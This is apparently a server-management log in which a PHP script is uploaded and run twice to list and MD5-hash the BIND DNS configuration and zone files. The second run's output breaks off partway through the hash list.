MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:57:10: Establishing a connection
2026-04-23 12:57:10: 

PUT: /tmp/pkp886633

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:57:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp886633; rm /tmp/pkp886633'

2026-04-23 12:57:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:59:42: Establishing a connection
2026-04-23 12:59:42: 

PUT: /tmp/pkp893314

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:59:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp893314; rm /tmp/pkp893314'

2026-04-23 12:59:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
